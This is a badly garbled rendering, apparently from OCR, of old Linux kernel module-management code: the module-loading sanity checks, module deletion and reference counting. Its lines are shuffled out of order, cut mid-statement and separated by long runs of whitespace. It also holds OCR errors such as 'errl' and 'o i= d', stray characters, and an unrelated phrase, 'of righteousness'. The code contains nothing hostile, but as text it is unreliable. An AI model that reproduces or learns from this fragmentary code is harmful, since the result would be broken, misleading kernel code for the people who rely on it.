                                                                                                                                                                                                  printk(KERN_ERR "init_module: mod->init out of bounds.\n");
                                                                                                                                                                                                                               (mod->init && !mod_bound(mod->init, 0, mod)) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printk(KERN_ERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk(KERN_ERR "init_module: mod->name out of bounds.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk(KERN_ERR "init_module: Size of initialized module
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto errl;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                of righteousness.
                                                                                                                                                                                                                                                                                                         goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                            goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error = -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             error =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto errl;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                printk(KERN_ERR "init_module: Invalid module header size.\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         goto err1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  mod_user_size > sizeof(struct module) + 16*sizeof(void*))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "needed. \n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           KERN_ERR "A new version of the modutils is likely
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   exceeds size of created module.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             -ENOMEM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "init_module: mod->syms out of bounds.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *
                                                                                                                                                                                                                                                                                                                                      mod->deps out of bounds.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* Where's
                                                                                                                                                                                                                                       zero.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bounds. \n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mod->size_of_struct)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        μĖ
                                                               if ((n_namelen
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ij
                                                                                                                           Check that the user isn't doing something silly with the name
                                                                                                                                                                                                                                                                                            (mod_member_present(mod, kernel_data) && mod->kernel_data)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                printk(KERN_ERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (mod_member_present(mod, kallsyms_end)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (mod_member_present(mod, can_unload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printk(KERN_ERR "init_module: mod->flags invalid.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (mod->flags & ~MOD_AUTOCLEAN)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              % sizeof(struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (mod->ex_table_start > mod->ex_table_end
                                                                                                                                                                                                                                                                                                                                                                                                        goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                       printk(KERN_ERR "init_module: mod->archdata invalid.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printk(KERN_ERR "init_module: mod->archdata out of bounds.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (!mod_bound(mod->archdata_start, 0, mod)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (mod_member_present(mod, archdata_end)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk (KERN_ERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk(KERN_ERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printk(KERN_ERR "init_module: mod->ex_table_* invalid.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   !((unsigned long)mod->ex_table_start >= ((unsigned long)mod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (!mod_bound(mod->kallsyms_start, 0, mod) ||
                                                                                                                                                                                                  goto err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (mod->archdata_end &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       && mod->can_unload && !mod_bound(mod->can_unload, 0,
                                                                                                                                                                                                                                                                 printk(KERN_ERR "init_module: mod->kernel_data must be
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (mod->archdata_start > mod->archdata_end) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     !mod_bound(mod->archdata_end, 0, mod))) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (mod->kallsyms_start > mod->kallsyms_end) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (mod->kallsyms_end &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             !mod_bound(mod->kallsyms_end, 0, mod)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               && ((unsigned long)mod->ex_table_end
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (unsigned long)mod->ex_table_end)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (((unsigned long)mod->ex_table_start
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              err2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                mod->ex_table_start
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (unsigned long)mod + mod->size)))
&n_name)) < 0)
                                                               get_mod_name(mod->name -
                               (unsigned long)mod_user,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "init_module: mod->can_unload out of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "init_module: mod->kallsyms invalid.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "init_module: mod->kallsyms out of bounds.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              exception_table_entry))) {
                                                               (unsigned long) mod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       mod)) {
```

```
>next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             >size);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   flush_icache_range((unsigned long)mod, (unsigned long)mod + mod-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (module_arch_init(mod))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (copy_from_user((char *)mod+mod_user_size,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        mod->refs = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mod->next = mod_tmp.next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
      *
                                                                                                                                                                                                                                                    for (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             for (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* Sanity check the module's dependents */
                                                                                                                                                                                                                                                                                 /* Update module references.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Ok, that's about all the sanity we can stomach; copy the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (namelen != n_namelen || strcmp(n_name, mod_tmp.name) !=
printk(KERN_ERR "init_module: changed module name to "
  Free our temporary memory.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct module *o, *d = dep->dep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                to make the I and D caches consistent.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               On some machines it is necessary to do something here
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk(KERN_ERR "init_module: get_mod_name failure.\n");
                                                    d->flags |= MOD_USED_ONCE
                                                                                                                                                                                                                                                                                                                                                                                                                                                           ÌÉ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          error = n_namelen;
                                                                                                                                                                                                                            struct module *d = dep->dep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (d == mod) {
                                                                                                                                                                   dep->next_ref = d->refs;
                                                                                                                                                                                                  dep->ref = mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          for (o = module_list; o != &kernel_module && o
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* Make sure the indicated dependencies are really modules.
                                                                                   /* Being referenced by a dependent module counts
use as far as kmod is concerned. */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* Scan the current modules for this dependency */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printk(KERN_ERR "init_module: self-referential "
                                                                                                                                                                                                                                                                                                                                                                                                                          printk(KERN_ERR "init_module: found dependency that is
                                                                                                                                                                                                                                                                                                                                                                                                                                                         (o i= d) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto err3;
                                                                                                                                                                                                                                                                                                                                                                                           "(no longer?) a module.\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "`%s' from `%s'\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  mod->size-mod_user_size))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (char *)mod_user+mod_user_size,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      n_name, mod_tmp.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "dependency in mod->deps.\n");
      *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          != d; o
                                                                                                                as
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            o
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     rest.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *
                                                                                                                                                                                                                                                                                                         asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                errl:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          this *,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              err2:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     err3:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             spinlock_t unload_lock = SPIN_LOCK_UNLOCKED;
                                                                                                                                                                                                                                                                                 sys_delete_module(const char *name_user)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int try_inc_mod_count(struct module *mod)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                strcpy((char *)mod->name, name_tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    put_mod_name(n_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto err0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  mod->flags = (mod->flags | MOD_RUNNING) & ~MOD_INITIALIZING;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (mod->init && (error = mod->init())
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   atomic_set(&mod->uc.usecount,1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               kfree(name_tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *mod = mod_tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mod->flags |= MOD_INITIALIZING;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  put_mod_name(n_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            atomic_dec(&mod->uc.usecount);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* Initialize the module.
                                                                                                                                                                                                  char *name;
                                                                                                                                                                                                                          struct module *mod, *next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (mod) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* And set it running.
                                                                                                              if (!capable(CAP_SYS_MODULE))
                                                                                                                                        int something_changed;
                                                                                                                                                                                                                                                                                                                                                                   return res;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int res = 1;
                            if (name_user) {
                                                    lock_kernel();
                                                                                                                                                                     long error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto err0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (error > 0) /* Buggy module */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mod->flags &= ~MOD_INITIALIZING;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 atomic_set(&mod->uc.usecount,0);
                                                                                                                                                                                                                                                                                                                                                                                                                        spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (mod->flags & MOD_DELETED
if ((error = get_mod_name(name_user, &name)) < 0)</pre>
                                                                                   return -EPERM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     spin_lock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               error = -EBUSY;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              res = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                    __MOD_INC_USE_COUNT (mod)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <del>..</del>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* We know there is
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       room
```

```
restart:
                                                                                                                                              if (something_changed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    something_changed = 0;
error = 0;
                                                                      for (mod = module_list; mod != &kernel_module; mod = mod->next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* Do automatic reaping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   for (mod = module_list; mod != &kernel_module; mod = next) {
                                              mod->flags &= ~MOD_JUST_FREED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if ((mod = find_module(name)) == NULL)
   put_mod_name(name);
                                                                                                                          goto restart;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                next = mod->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            error = -ENOENT;
                                                                                                                                                                                                                                                                         }'else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    spin_lock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (mod->refs == NULL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (!
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spin_lock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (mod->refs != NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              error = -EBUSY;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   else (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto out;
                                                                                                                                                                                                                                                   spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mod->flags |= MOD_DELETED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  free_module(mod, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     && (mod->flags & MOD_AUTOCLEAN)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ((mod->flags & MOD_VISITED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          _MOD_IN_USE(mod)) {
                                                                                                                                                                                                                                                                                                                                                                      spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                    mod->flags |= MOD_DELETED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                  mod->flags &= ~MOD_VISITED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                          something_changed = 1;
                                                                                                                                                                                                                                                                                                                                                   free_module(mod,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     && ! (mod->flags & MOD_JUST_FREED)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ! (mod->flags & MOD_DELETED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (mod->flags & MOD_USED_ONCE)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (mod->flags & MOD_RUNNING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      _MOD_IN_USE (mod))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        qm_deps(struct module *mod, char *buf, size_t bufsize, size_t *ret)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     static int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 qm_modules(char *buf, size_t bufsize, size_t *ret)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         static int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          calc_space_needed:
